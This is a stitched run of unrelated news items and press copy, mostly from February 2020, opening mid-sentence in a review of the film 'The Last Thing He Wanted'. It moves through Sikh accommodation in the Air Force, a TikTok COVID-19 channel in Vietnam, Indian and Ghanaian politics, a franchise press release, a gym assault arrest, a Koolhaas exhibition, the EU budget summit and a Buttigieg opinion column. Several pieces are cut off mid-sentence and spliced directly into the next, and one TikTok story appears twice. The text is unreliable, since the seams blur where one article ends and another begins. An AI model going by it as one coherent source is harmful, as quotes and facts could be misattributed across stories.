life, she runs to Treat. He hides her, and the next day he details the plan of her escape. First, however, she has to go back and find her notes and film to bring with her back to the states which prove the US has been supporting Contra fighters. Elena obliges, but back at the hotel is caught in gunfire Jones appears again and Elena hides from him. When she comes out, she finds that her notes and film (which she uncharacteristically left out on a random shelf while wandering around the clearly disturbed hotel) are gone. Despondent, Elena wanders down the bluff. Then Treat calls her name. She turns and he shoots her twice in the chest. Elena tumbles off the bluff. Her fall is narrated by Treat, sometime later, describing 'what happened' to the press. His version of events is that Elena was the assassin all along and that he shot her in self-defence. We also see Alma as she types out Elena's story, presumably making her the sometime narrator (though the voice-over is Hathaway), with the notes that Jones had stolen from the hotel. Photo credit: Netflix One major change from the novel is Elena's murderer. In the book, there actually is an assassin. He is still a plant, part of a scheme of the right-wing US government, and in the novel he kills Elena and wounds Treat. The movie also frames Treat as someone almost wilfully ignorant of what would happen, but Rees has made him the trigger man. Despite the confusion of the film, we still recommend reading the novel. Its sharp, staccato prose crafts beautiful imagery and the thrills are earned. The Last Thing He Wanted is available to stream on Netflix. Digital Spy now has a newsletter sign up to get it sent straight to your inbox. Want up-to-the-minute entertainment news and features? Just hit 'Like' on our Digital Spy Facebook page and 'Follow' on our @digitalspy Instagram and Twitter accounts. You Might Also Like The has updated its to accommodate the religious sentiments of various communities, including the Sikhs, making it easier for them to join the service. Finalised on February 7, the new Air Force policy establishes clear grooming and uniform standards for enlisted and officer airmen who are granted accommodations based on their sincerely held religious beliefs. The policy also clarifies that O-6 level commanders can approve an airman's request for such accommodation in no more than 30 days (or 60 days if the accommodation is requested outside of the US), and that an accommodation, once granted, will generally follow the airman throughout his or her career. While there are certain limited circumstances under which a religious accommodation may not be permissible due to safety considerations, the policy appears to be otherwise comprehensive, Sikh Coalition said in a statement. "No Sikh-American should have to choose between their religious beliefs and their career ambitions," said Giselle Klapper, Sikh Coalition staff attorney. "Sikhs have served honourably and capably in the US Armed Forces and other militaries around the world, and while we are eager for a blanket proclamation that all observant Sikh-Americans can serve in every branch of the military without seeking accommodations, this policy clarification is a great step forward towards ensuring equality of opportunity and religious freedom in the Air Force," Klapper said. The Air Force's clarification closely resembles the US Army's landmark 2017 policy adjustment, which similarly clarified the terms and process for soldiers requesting religious accommodations. "Both of these policy changes are the direct result of the years-long campaign, launched in 2009 by the Sikh Coalition and our pro bono co-counsel at McDermott Will and Emery, that has included extensive advocacy efforts and litigation to ensure that observant Sikhs and other religious minorities are able to serve without compromising their faith," the Sikh Coalition said in a statement. According to the Sikh Coalition, Airman 1st Class Gurchetan Singh is the first Sikh-American to receive an accommodation to serve in the Air National Guard. Singh's accommodation was approved in September 2019, and he will soon head to Basic and Technical Training with a specialty in Cyber Transport Systems. "The Sikh Coalition has helped me realize my career dream while ensuring that I stay true to myself and my faith. "Their legal assistance means that I won't face discrimination as I step up to serve, and I'm proud to help clear the way for other Sikhs who may want to join the by demonstrating that we can serve honourably while maintaining our articles of faith," he said in a statement. To date, the Sikh Coalition has helped more than 20 Sikh-Americans secure accommodations to serve in the When Ocasio-Cortez upset congressman Joseph Crowley, whose name had been mentioned as a future speaker of the House, she vowed to help other progressives with little means take on Democrats they felt insufficiently represent the interests of the people in their districts. Chinese social media platform TikTok has coordinated with Vietnamese authorities to create an account that provides official information on the novel coronavirus disease (COVID-19) epidemic amid widespread fake news about the disease. TikTok, in coordination with Vietnams Ministry of Health and Ministry of Information and Communications, launched the account last week at @ICT_anti_nCoV. ICT is an acronym for information and communications technology, while nCoV refers to the novel coronavirus. The information channel has been uploading at least 1-2 videos daily, providing viewers with the latest updates on the COVID-19 epidemic in Vietnam and around the world. It also gives helpful advice and knowledge regarding the disease. Each video is about 15-60 seconds long, with the content being based on official information from the Ministry of Health, local-level medical centers, and the World Health Organization. The more than two dozen videos on @ICT_anti_nCoV have garnered over three million views after only ten days since its launch last week, Nguyen Lam Thanh, a representative of TikTok Vietnam, stated. It had amassed over 38,000 followers and nearly 200,000 likes on the social network as of Thursday afternoon. TikTok has also been monitoring all information on the COVID-19 epidemic uploaded by its users to prevent fake news, Lam added. COVID-19 has killed over 2,000 people and infected over 76,000 globally since it first surfaced in the Chinese city of Wuhan in Hubei Province in December 2019, according to the South China Morning Post. Vietnam has so far confirmed 16 cases of the viral infection, including 13 Vietnamese, one Vietnamese American, and two Chinese. Twelve of them have been released after making a full recovery, with no new cases recorded since Thursday last week. Many Vietnamese citizens, including a handful of celebrities, have been fined for sharing false news on the COVID-19 epidemic on social media over the past weeks. TikTok is a video-sharing social networking service owned by ByteDance, a Beijing-based company. The app was launched in 2017 and has become a big hit not only in China but also in Vietnam and many other countries. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Opposition Aam Aadmi Party in Punjab on Friday threatened to cut off the power supply to Chief Minister Amarinder Singh's residence in Patiala if the state government failed to scrap power purchase agreements with private plants. AAP MP and chief of the party's Punjab unit Bhagwant Mann accused the Congress-led government of having a "secret pact" with private thermal plants. "That is why the state government neither got the accounts of power companies audited nor revoked the PPAs even after being in power for more than three years now," he alleged. "If the Amarinder Singh government fails to terminate PPAs with private thermal plants inked by the previous Badal government during the current budget session, the Aam Aadmi Party will be forced to cut power of Amarinder's Moti Mahal on March 16," Mann said in a statement here. A decision in this regard was taken by the party's core committee, the statement added. Mann said the Congress had promised before the 2017 Assembly polls that it would review the PPAs after coming to power. "Amarinder Singh has the golden opportunity to terminate the anti-state PPAs in the current budget session, thus helping the people heave a sigh of relief from the recurring power shocks," he said. The Amarinder Singh-led government has been facing criticism from the opposition parties over the rising power tariff in the state. The Akalis had also accused the Congress of "striking underhand deals" with the management of private thermal plants, resulting in a loss or Rs 4,100 crore to the state exchequer. Power rates in Punjab were hiked by 36 paise a unit from January 1 for domestic consumers. On February 17, Amarinder Singh had said that his government would renegotiate the power purchase agreements with private players. The previous SAD-BJP government had signed PPAs with private companies for coal-fired power plants in Rajpura, Mansa and Goindwal Sahib. Meanwhile, the AAP's core committee on Thursday also adopted a "congratulatory resolution" over the third stunning victory of the party in the Delhi Assembly election under the leadership of Arvind Kejriwal. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A former District Chief Executive for Sissala West, Salifu Naliwie, has charged delegates of the ruling New Patriotic Party (NPP) in the Sissala West constituency not to be lured by financial inducements in choosing a candidate to represent the party in their upcoming parliamentary primaries. According to him, that will be the surest way to hold whoever that is elected accountable. Mr. Naluwie who served under the Kuffuor administration was addressing a heralding crowd of delegates and supporters after filing his nomination to contest the incumbent Member of Parliament for the Sissala West, Patrick Adama in the NPP's 25th April parliamentary primaries. The issue of financial inducement known in the Ghanaian palace as vote-buying has been a growing concern to both civil society and political pundits in Ghana with some calling for a legal regime to curb the practice. Although Salifu Naliwie did not mention names, he opined that we are not well represented in parliament yet we can't complain because someone claimed to have bought our seat with money. He does not visit the communities or represent our interests but when we complain, he keeps saying he bought the seat with his money. You have the power to change the narrative by voting for me. I will live here with you because I have lived with you all this while and I know my people. Flanged by the Sissala West NPP chairman, Bukari Dramani and other party bigwigs in the area, Mr. Naliwie said his first priority if elected will be to unite the various factions within the NPP in the constituency and to establish an office in the area that will make him more accessible to the constituents. He added that women and other vulnerable groups in the area will be assisted to engage in income-generating activities to alleviate poverty in the constituency. The Sissala West constituency, which happens to produce Ghana's third president Dr. Hilla Liman is one of the deprived areas in the Upper West region with astronomical poverty levels. The area has no befitting district hospital and is characterized by deplorable roads that are making it difficult to transport goods and services. Incumbent MP for the area Patrick Adama who is seeking re-election and his predecessor, Alhaji Amidu Sulemana have both been accused by residents of not doing enough to alleviate the sufferings of the electorates. Mr. Salifu Naliwie, however, gave his word to the delegates that he will lobby with the right institutions and agencies to restore hope in the constituency. ---citinewsroom KANKAKEE, Ill., Feb. 21, 2020 /PRNewswire/ -- Today, WLF Holdings, LLC/ Auto-Lab Franchising, LLC (DBA AUTO-LAB COMPLETE CAR CARE CENTERS) announced immediate expansion throughout the State of Illinois and the City of Milwaukee. Wanda and Larry Fullmer, who have purchased the rights to become the Area Developers, are seeking Franchisees and interested parties to participate in this rapid growth opportunity that will benefit residents and businesses in these locations. Auto-Lab Franchising, LLC, is committed to creating jobs and entrepreneurial opportunities throughout the State of Illinois where there is a strong need for job creation, economic empowerment of communities and population stabilization. Auto-Lab Illinois is highly focused on customer satisfaction, high quality repairs, workforce training and development and on attracting entrepreneurs whom want to franchise in a recession proof industry. "The State of Illinois is prime for our expansion model as we are targeting communities that are in need of economic empowerment, job creation and where there is a great need for quality car repair work as people are statistically holding on to their cars for longer periods of time; the average age of cars in some key cities can exceed 11 years," said Larry Fullmer, Owner at WLF Holdings, LLC/ Auto-Lab. Mayors in key cities in Illinois have expressed great interest Auto-Lab Complete Car Care Centers franchises which have had great success of the brand in the City of Kankakee and across the country. "We are committed to creating the ultimate franchising opportunity," said Wanda Lewis-Fullmer, Owner of WLF Holdings, LLC, Quoting USA Today, February 11th, 2020 issue: "Black entrepreneurs have thrived in franchising for years and are choosing this route over founding traditional small businesses at a faster rate than the broader population. Government data show a substantial jump in the number of black-owned businesses from 2007 to 2012, from 1.9 million to 2.6 million. Statistics also show that 30.8% of franchise businesses were owned by minorities, while non-franchised businesses have nearly 19% minority ownership." "We can help build wealth throughout all communities by offering franchises to Women, Minorities and to our Nation's Veterans we can tie Supplier Diversity to Economic Opportunity. We also can measure the number of jobs created through the franchises while building generational wealth. Mechanics will be trained to manage the Auto-Lab shops in hopes that they will be in succession and also open their own shops." Wanda Lewis-Fullmer and Larry Fullmer owners of WLF Holdings, LLC/ Auto-Lab have been identified as Area Developers and as key partners in the growth strategy of Auto-Lab Franchising, LLC stores in the State of Illinois as well as the City of Milwaukee. Auto-Lab Complete Car Care Centers is a high-quality automobile service providing quality analytics, repair and maintenance. Auto-Lab provides an unprecedented, 24,000-mile/24-month warranty on both parts and labor; separating Auto-Lab from the competition. "Auto-Lab Franchising, LLC, is very exciting about the growth opportunity in the state of Illinois and well as the city of Milwaukee, WI," said Stephen Wilson, the CEO of Auto-Lab. "We see this as a mission to provide high quality jobs, as well as ownership potential, for hundreds of individuals who otherwise might not have been afforded such a chance. Partnering with Wanda and Larry Fullmer just made sense as our synergies will ensure marked progress and growth." Auto-Lab has and will continue to hire from within the community in which it is operating. Our partnership with the community is to create not only jobs, but a commitment to groom trained, high quality employees able to move into higher skilled positions within the automotive industry and without. Also, to potentially open and successfully operate an Auto-Lab franchise store of their own. The model of Auto-Lab Complete Car Care Centers will be the formula for our success. Each franchise location will prove to provide both great return on investment and quantifiable and measurable community goodwill and economic empowerment. For more information, press only: Auto-Lab Kankakee (815) 926-1250 [email protected] SOURCE Auto-Lab Franchising, LLC Thursday, February 20, 2020 at 9:22PM Even with an ongoing patent infringement lawsuit between the two companies, Sonos and Google are working on new features to benefit its users. You can now use Sonos speakers as the default playback option for Google Assistant. So, if you request a song through Google Assistant, it can automatically play on the paired Sonos speaker. Google Assistant will let you have multiple default speakers, so different Sonos devices can be paired with different Google devices. You can set this up through the Google Home app. Source: The Verge The website www.baatbiharki.in and mobile number 6900869008 has also been launched for those who are willing to join the campaign. Patna: More than 3 lakh youths have registered for Prashant Kishors ambitious Baat Bihar Ki program which has been launched with an aim to include Bihar among the top ten developed states of the country. The website www.baatbiharki.in and mobile number 6900869008 has also been launched for those who are willing to join the campaign. The move is being seen as a major setback for the JD(U) which has been trying to expand its base in Bihar ahead of Assembly elections this year. Though Prashant Kishor ruled out any political motive behind his ambitious programme, analysts see this as his effort to create a credible alternative force in the state ahead of Assembly elections slated to be held in November. While announcing the program earlier this week in Patna, Mr Kishor had said that he intends to connect with more than 10 lakh youths within 100 days. He had also revealed his plan to travel across Bihar to meet the youth as part of his campaign in the coming days. There is no one to question Nitish Kumars good governance and development model. Bihar was in a poor state in 2005 and continues to remain like that even after Nitish Kumar became the chief minister. People want to know what he has done for the development of Bihar and what he would do in the next 10 years to place Bihar in top developed states of the country, poll strategist Prashant Kishor said on Tuesday while launching his campaign. He had also attacked the chief minister for making ideological compromises to remain in power. JD(U) president and Bihar CM Nitish Kumar is currently running the state government with BJPs support. I firmly believe that Gandhi and Godse cannot go together. One has to take a clear stand on the issue. Nitish Kumar keeps saying that his party can never leave the ideals of Gandhi but is now standing with those who are soft on Nathuram Godse, Mr Kishor said on Tuesday in Patna. Mr Kishor who had joined as JD(U)s national vice-president was expelled on January 29 this year for raising questions over the partys stand on the CAA, NPR and the proposed NRC. Mr Kishors comments against the chief minister didnt go well with the ruling JD(U) and the BJP. Reacting sharply, BJP state president Sanjay Jaiswal called him a political businessman and said, he is like musclemen of 1990s who used to capture booths for their political masters but later decided to become politicians themselves. But this political businessman must realise that voters have changed now and they no longer vote for goons. A 33-year-old man was arrested Monday evening after allegedly sexually assaulting a woman in a 24 Hour Fitness in California, police said Wednesday. The Fremont Police Department said that Jonathan Anderson walked into the gym while a fitness class was taking place. According to police, Anderson "entered the class" without warning and approached a woman doing pushups on the ground alongside other patrons. The 6-foot-1 man then allegedly pushed the woman onto the ground, pulled off her clothing and tried to sexually assault her. Police said another person in the class intervened and forced Anderson off the woman, and gym employees stopped the suspect from leaving until officers arrived. Anderson was arrested on charges of felony sexual battery and assault. Anderson has remained in custody since his arrest, and is scheduled to be arraigned Thursday morning at the East County Hall of Justice. Police said that Anderson later confessed to the assault "in detail." Video: Tree trimmer accused of sexual assault The Fremont Police Department wishes to thank the good Samaritan for intervening in the attack, Lt. Michael Tegner said in a statement. Their quick action stopped this horrendous assault and aided in the suspects quick arrest. It took bravery and courage to intervene. Officials are publicizing the alleged assault since they believe Anderson may have committed similar acts of violence. They are encouraging other potential victims to come forward. Anyone with relevant information is asked to call the police department's investigative unit at 510-790-6954. Eric Ting is an SFGATE digital reporter. Email: eric.ting@sfgate.com | Twitter:@_ericting In 2007, when the United Nations announced that by 2050, 70% of the earth's human population would be living in cities, the world jumped to plan for an increasingly urban future. Soon after, however, OMA principal Rem Koolhaas began to search for a different path. At New York's Guggenheim Museum, the architectwith AMO and a host of international collaboratorshas staged a new show to explore living, producing, and designing in the countryside: what it defines as the 98% of the world's surface (oceans included) that does not make up its 2% of cities. The countryside is explored as a historical concept in ancient societies, as well as through the varying attempts to build planned countrysides in socialist countries, through new food and energy production methods, through land conservation, through climate change, and through off-the-grid living in examples across the globe from Chile to Japan. While the show offers a myriad of diligently researched case studies of successful and unsuccessful countryside initiatives, it doesn't come to any specific conclusion. Like a dissertation lacking a thesis, it winds up the museum's spiral ramp rotunda just to send the visitor right back down. But the agenda of the show is not to present any specific call to action, says Koolhaas, who 40 years ago wrote Delirious New York, a love letter to the city claiming that life would not be possible without "the culture of congestion" (he has since changed his tune: "Roughly 10 years ago, I became nervous and dissatisfied with that concentration"). Instead, the show's agenda is simply to bring focus back to the countryside itself. It's an added bonus if it sparks a migration. On the helm of this week's opening of Countryside, the Future, AD spoke with Koolhaas about his vision for this future in the idyll. Photo: Laurian Ghinitoiu, Courtesy AMO Architectural Digest: What are the contemporary incentives to move to the countryside? Story continues Rem Koolhaas: I dont think I can point out specific reasons, but I think the intention of the show is more to talk about the need than the actual incentives. The motivation of the show is to focus on the agenda and to insist that the grave neglect is irresponsible and self-defeating, and that people need to find incentives in themselves. And of course, one great incentive is that life in the city is not wonderful in many ways and that there is an incredibly beautiful part of the world that we are completely ignoring and rarely venturing into. That is one part: the beauty and the urgency of certain potentials that are there. I cannot enumerate the reasons you should go, that there are jobs there, et cetera. AD: All the examples in the show of countryside living or productivity are hyperlocal solutions or an incentive that came from within a person or a specific community. RK: Yeah, came from within. Photo: Laurian Ghinitoiu, Courtesy AMO AD: Weve seen that planned countrysides from the political side have always failed RK: Or they are problematic. AD: Exactly. If the government can't mandate putting that agenda into people's minds, how do you envision it could spread organically? RK: Basically, the show will travel. That is the first way of spreading it. It travels to China, Japan, but also Africa. The one good thing about current technical devices like the mobile phone is that there is an incredible amplification of communication potential and an incredible widening of sources and correspondence. I think that will hopefully take care of itself. But the beautiful thing about the show is that it launches many different levels of activation. There was someone from the U.N. who wanted the secretary general to visit the show. I think you say that the state-driven incentives are failures but still the state remains an important player. I think that is something you see particularly in China. AD: I am seeing this show from the lens of being American and having grown up in a capitalist society. Looking at a socialist example like China, that perspective is fascinating to me. How well will a capitalist society be incentivized? RK: I think the timing of this show is very fortunate. I think both authoritarian and democratic regimes are wondering how they should imagine their future. There is a real awareness, in general, that neither direction can continue the way it goes now. Particularly, the pressure of climate change, whether America is part of it or not, I think, weirdly enough, makes not much difference. There is an awareness that things have to go differently and some kind of mobilization needs to take place, and whether a democracy or other systems can achieve that mobilization is the key. In the current political context, the current both urgency and uncertainty, I think we tried to offer many different aspects to think about. AD: The thesis of the show is: Think. RK: Yes. Originally Appeared on Architectural Digest Maharashtra Chief Minister Uddhav Thackeray arrived in the capital for his scheduled meeting with Prime Minister Narendra Modi, Congress interim president Sonia Gandhi and senior BJP leader LK Advani on Friday. On his arrival at the airport, Thackeray was seen folding hands with a smile as the media jostled to capture a good shot of him. Earlier in the day, Shiv Sena leader Sanjay Raut said that party chief Thackeray will meet Prime Minister, Gandhi and senior BJP leader LK Advani today in the capital."Uddhav ji and Prime Minister Modi have cordial relations," Raut told ANI here and added that the relation of elder brother and younger brother continues between them."Uddhav Thackeray will also meet Sonia Gandhi since Congress is a prominent member of the coalition government. He will meet LK Advani also," Raut added.This is Maharashtra Chief Minister's first visit to Delhi after taking the top job in the state.The meeting between the chief minister and the Prime Minister comes ahead of the Assembly session of Maharashtra that is scheduled to begin on Monday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lionel Hurst, Antigua and Barbudas Chief of Staff (Inset) declared that Government has done all it can possibly do to bring relief to hurricane-battered Barbuda. According to Environmental Activist John Mussington, many Barbudans "still live in tents, some two and a half years after the island was flattened by category five hurricane Irma (2017). Barbudans, he said, who suffered the crippling effects of hurricane Irma, are still struggling to recapture some semblance of normalcy, amidst the slow progress as it relates to governments response to their needs. The Government recently announced plans to break ground for the construction of 10 eco-friendly and hurricane-resistant homes on the island. But these have yet to be constructed, supporting the claim that progress has been slow. "Essentially, there are many people who are still not settled because the housing stock has not been restored. This particular project was designed to donate houses to those persons to try to address that particular situation. The bad thing is two and a half years later, going on three years, we are now having to contend with these issues. Mussington told Loop News. The Environmental activist thinks its unfortunate that the government seems more focused on commercial development than they are on meeting the needs of affected citizens; that while Barbudans were still displaced, plans were being drawn up and land being earmarked for commercial development on the island, development (projects) that pose serious risks to the islands fragile eco-system. When contacted for comment, Antigua and Barbudas Chief of Staff, Lionel Hurst refuted the allegations. He told Loop News the government has done everything possible to bring relief to the situation created by hurricane Irma. "As you know, all 1800 residents were evacuated after Irma struck and while Jose was threatening. Only one person died, even though 95% of the buildings were destroyed. The island wasnt habitable and weve done significant work in repairing houses by seeking international assistance, he said, even as he accused Mussington of aligning himself with the political foes of the Antigua and Barbuda Labour Party Government. On Feb. 1, a Diamond Princess passenger from Hong Kong, who had left the ship Jan. 25, was diagnosed with the virus. Princess Cruises said it learned about this on social media the next day and reached out to Hong Kong authorities. On Feb. 3, the captain told passengers the ship would wait in Yokohama while Japanese Health Ministry officials assessed the situation. But passengers still mingled, including at a buffet dinner on Feb. 4. It was only later they were told to stay in their cabins. Bhopal, Feb 21 : The Madhya Pradesh government was on Friday hustled into withdrawing a National Health Mission circular on motivating men for vasectomies. NHM Director Chhavi Bharadwaj had on February 11, issued the circular tagging it as 'Extremely Important'. The official had expressed dissatisfaction over the slackness of MPHWs in motivating potential males for sterilisation. It was sent to all the divisional commissioners, district officers, CMOs and other health officials of the state. Bharadwaj had appealed in the order to seriously review vasectomy. The circular followed National Family Health Survey-4 report that suggested 0.5 per cent of men were opting for sterilisation in Madhya Pradesh. The NHM Mission Director asked MPHWs to mobilise at least five to 10 "willing beneficiaries" during the family welfare camps in the districts. The circular asked top divisional officers and district officers including with health department to identify male health workers with 'zero work output' and apply the 'no work no pay' principle - if they don't motivate at least one male vasectomy by March 31. The circular directed the male multi-purpose health workers (MPHWs) to get at least get one man sterilised in this fiscal ending next month or face withholding of salary or even compulsory retirement. The circular that reminded of provisions during the Emergency, was hastily withdrawn following protests by the opposition BJP. "I have just now voided the NHM's order with immediate effect. The language in it was not proper," said state Health Minister Tulsi Silawat. The minister's admission about rescinding the order was qualified with a statement that "Things should be done after proper reasoning." The order has been in effect for 10 days and was to be treated as top priority. The BJP which keeps directing its tirade against the government over lax approach to family welfare seized the opportunity to protest and said the protests would continue even after the minister ordered the withdrawal of the circular. Former Chief Minister Shivraj Singh Chauhan said, "Madhya Pradesh has an undeclared emergency. Is this Emergency Part II of the Congress? If the efforts of the MPHWs are lacking, the government should take action, but the decision to withhold salary and retire if the targets are not met is dictatorial." BJP leader Sambit Patra said the state government's actions reminded people of the Emergency. "Congress terms the Centre's firm administration as 'Emergency', while there is an emergency in their own state. Ironically Chief Minister Kamal Nath whose childhood friend Sanjay Gandhi was held responsible for the atrocities in the name of family planning during the Emergency." The NHM Director could not be contacted. The order to perform or face action was seen as a means to coerce people to get sterilised. The Santa Clara County Public Health Department announced Thursday that the county's first confirmed case of novel coronavirus has recovered and been released from isolation. Public health officials first confirmed a Santa Clara man as the county's first case of the virus on Jan. 31. The unidentified man had traveled to the Chinese cities of Shanghai and Wuhan before returning to the county Jan. 24 by flying into Mineta San Jose International Airport. BRUSSELS - European leaders argued into the early hours of Friday about how to spend and share some 1 trillion euros ($1.1 trillion) over the next seven years. Their first summit since Britain quit the EU last month has been bruising, long and so far inconclusive. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. European Parliament President David Sassoli speaks during a media conference at an EU summit in Brussels, Thursday, Feb. 20, 2020. After almost two years of sparring, the EU will be discussing the bloc's budget to work out Europe's spending plans for the next seven years. (AP Photo/Olivier Matthys) BRUSSELS - European leaders argued into the early hours of Friday about how to spend and share some 1 trillion euros ($1.1 trillion) over the next seven years. Their first summit since Britain quit the EU last month has been bruising, long and so far inconclusive. Gaps and resentments between wealthy and poorer members quickly surfaced as presidents and prime ministers from the European Union's 27 countries gathered Thursday in Brussels. The unity they showed during four years of Brexit talks was nowhere to be seen as they wrangled over the EU's future priorities and who should pay for its ambitions. From farm subsidies to beefed-up border security or unprecedented climate investment, every EU leader wants the continent-wide budget to fund their own national priorities. Outside the summit centre, farmers rolled tractors down the street to push their demands for sufficient funds. I dont plan to put my signature to this," Dutch Prime Minister Mark Rutte said of the latest compromise budget proposal. All came in for the long haul, and Rutte was prepared, carrying a biography of Polish composer Frederic Chopin to get him through the long hours of negotiations. Each leader laid out priorities at a collective round-table meeting, and then EU Council President Charles Michel met with each leader one by one to discuss their grievances and demands, officials said. The summit stretched past midnight with no breakthrough in sight. The Greek leader wants a bigger budget. The Finnish leader wants it smaller. France wants more money for joint defence. Lithuania wants more money for farmers. Meanwhile, concerns are growing about potential conflicts of interest that could see hundreds of millions of euros in funds granted to companies linked to some of the very people deciding how the money should be spent. Diplomats and number-crunchers have worked on the budget for years but the issues are so divisive that the leaders' summit might last into Saturday and still end without a result. There are lot of concerns, priorities, and interests," Michel said. Im well aware that the final steps that must be taken to find a compromise are always the most difficult. German Chancellor Angela Merkel also said she hoped we get at least a good deal further," but was forthright in defending the wealthy nations that put more into the shared EU budget than they get out of it. For net contributors the balance is not right yet." The EU nations need to regroup after Britain's departure three weeks ago, and a show of unity on their common budget could help in that regard. With Great Britain leaving, it is a clear signal we have to give to our citizens that Europe is alive and well and we can continue functioning," said Latvian Prime Minister Krisjanis Karins. Prospects of that don't look good. Britain's exit means the loss of up to 75 billions euros ($81 billion) in net contributions to the budget, and how to make up for that is causing friction. Leaders of rich nations don't want to have to pay more into that common EU pot, and those from poorer member states are angry at the prospect of receiving less money from the EU. Even if a trillion euros ($1.1 trillion) sounds like a lot, it actually amounts to about 1% of the gross national income of the 27 nations combined. The debate is over some 0.3 percentage points. Michel came into the summit with a draft budget at 1.074% of EU gross national income. The parliament wants 1.3%, while the EUs powerful executive arm, the European Commission, prefers 1.11%. Its not just about convincing reluctant member countries to stump up funds. The European Parliament must also ratify any final budget agreement and the EU lawmakers are not happy. At the moment, we remain 230 billion euros ($248 billion) apart," European Parliament President David Sassoli said this week. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Ahead of the negotiations, the 27 member nations are roughly divided into two main camps. The so-called Frugal Four of Austria, Denmark, Rutte's the Netherlands and Sweden versus the Friends of Cohesion, a group of mainly central and eastern European nations who want to see the continued flow of cohesion funds, money earmarked to help develop poorer regions. The frugal four would like the budget to drop to as low as 1% of gross national income and say that with the loss of Britain the EU has to cut its coat according to its cloth. French President Emmanuel Macron wants to go the other way. It would be unacceptable to have a Europe that compensates the departure of the British by reducing spending." Complicating things further is the level of global uncertainty beyond the continent. While climate change was largely a technical matter during the last budget negotiations seven years ago, this time the EU is planning to spend a quarter of its budget on green issues, hoping to set an example for governments around the world. ___ Associated Press writer Lorne Cook contributed to this report. Last Friday, a group of disgruntled queer activists interrupted Pete Buttigiegs campaign event in San Francisco. One of the protesters, Adiel Pollydore, told the Guardian that she decided to protest in part because Pete Buttigieg represents a very small percentage of the experiences of queer and trans people in this country, being white and being cisgender and being a man, being someone who is highly educated. We know queer and trans folks of color, especially black queer and trans folks, live at the intersection of so many systems of oppression in this country. We would not want the highly educated speaking on Ms. Pollydores behalf. The protesters objection to Buttigiegs melanin count and intact genitalia Why arent you a trans black woman, Mr. Mayor? highlights an ongoing debate on the left about the former mayors sexuality, and whether he is, in the words of Masha Gessen of The New Yorker, gay enough to represent the LGBT community. One would think Buttigiegs gay bona fides are obvious. He is married to another man, and frequently drones on about how Mike Pence hates him for his sexual preferences. Buttigieg is nevertheless accused of lacking a metaphysical gayness, one that obtains not by participation in certain sex acts but instead through the approval of the identity eunuchs in the commentariat and American sociology departments. The operative question, then, is not whether Pete Buttigieg is a homosexual that much is beyond dispute but instead whether he is gay, or gay enough. Gessen attempted to explain the contempt some queer people hold for Mayor Pete, who they doubt is gay enough to represent their political interests. What the mayors relative gayness has to do with his aptitude as a political vessel for the interests of queer people is unclear, as is her operative definition of gay. Gessen nevertheless proceeds with an empiricists certainty, picking apart moments in Buttigiegs life and asserting that the notion that some of us think that Buttigieg is not gay enough has an identifiable relationship to the facts. Story continues Unlike those who are noticeably queer, Gessen argues, Pete Buttigieg has always appeared relatively normal (he can pass as a straight man) and therefore could choose the circumstances and timing of his coming out. This experience, in turn, led him to adopt a political platform that in Gessens telling is profoundly, essentially conservative. She concludes that Pete Buttigiegs life experience and ideological commitments make him a straight politician in a gay mans body. Its difficult to think of a sense in which a candidate who supports unfettered abortion access, compelling religious business owners to violate their consciences, abolishing the Electoral College, reengineering the Supreme Court, decriminalizing illicit border crossings, granting amnesty to more than 11 million illegal aliens, and banning all new fracking ventures might be understood to be profoundly, essentially conservative. (Facts.) Gessen defends characterizing Buttigieg as conservative by citing his aversion to revolutionary change, a posture that signals to straight people that we are just like you, and all we want is the right to have what you have: marriage, children, a house with a picket fence, and the right to serve in the military. His refusal to embrace revolutionary change a pars pro toto of his rejection of the gay separatist politics described by Andrew Sullivan makes Buttigieg, in Gessens telling, an easy and reassuring choice for these older, white, straight people, and a disturbing possibility for the queer people who seem to be criticizing him for not being gay enough. One is reminded of Anthony Kennedys famous ex cathedra decree that one would misunderstand the Obergefell plaintiffs to say they disrespect the idea of marriage. Their plea is that they do respect it, respect it so deeply that they seek to find its fulfillment for themselves. Ultimately, he said, they ask for equal dignity in the eyes of the law. The Court was advancing a fundamentally progressive suggestion at the time of Obergefell at stake was the heretofore unchanged definition of a bimillennial institution and within five years of Kennedys paean, Masha Gessen considers the Obergefell ask a sign of dyed-in-the-wool conservatism. All of Gessens argument could, in earnest, be reduced to Pete Buttigieg isnt really gay because he doesnt agree with me about politics. That implication is clear enough in the straight politician in a gay mans body quip, suggesting that gay men are authentically gay only if they hew to the political program prescribed by Masha Gessen. I do not, for what its worth, think much of authentic gayness as moral lodestars go, I prefer the Pauline epistles to the fleeting approbation of a New Yorker columnist; chacun a son gout but to the sort of person who suggests that Buttigieg is not gay enough to earn their vote, I echo the question recorded by the evangelist: What lackest he yet? More from National Review The Ministry of Health and Ministry of Information and Communications have joined hands with TikTok to create an official account called @ICT_anti_nCoV that provides the latest information about COVID-19. A new TikTok channel has been launched to prevent misleading or false information about COVID-19. The ministries decided to co-operate with TikTok to correct misleading or false information about COVID-19. TikTok will publish at least one to two videos per day and keep users updated with all the latest news as well as share recommendations and health protection knowledge from authorities. Equipped with the proper information, users will be able to better protect themselves and their communities. The sources of information published by @ICT_anti_nCoV are the Ministry of Health, the World Health Organisation (WHO) and all local authorities. With short videos lasting from 15 to 60 seconds, viewers can learn about the status of the disease conveniently and quickly whenever and wherever they are. All of the videos contain lively graphics effects and illustrative images, delivered by a professional MC, making it even easier for people to keep up with the news. Since the first day TikTok started to update information on COVID-19, the channel has attracted over 3 million views, and more than 176 thousand likes and 36 thousand followers. The figures reflect the high concern of the community towards the disease. As a short-video platform with a massive number of users around the world and in Viet Nam, TikTok has been co-operating with authorities in the mission to provide a legitimate channel delivering accurate information to the community. As a platform that connects and interacts with millions users per day, TikTok Vietnam is taking immediate and practical actions to stop misinformation and false news about COVID-19 through collaboration with the Ministry of Health and the Ministry of Information and Communications. If the community can access a trustworthy source of information, they can be protected from the COVID-19, reducing the possibility of contagion. We hope that @ICT_anti_nCoV will be another trustworthy channel for users to count on, fighting against false information in the period of information crisis, said Nguyen Lam Thanh, head of public policy at TikTok Vietnam. Besides the official channel, TikTok has set tight restrictions on content published by users about COVID-19 on its platform in an effort to guarantee that all the information must be trustworthy and traceable. The information is provided by the Ministry of Health, WHO and local authorities. TikTok is the leading destination for short-form 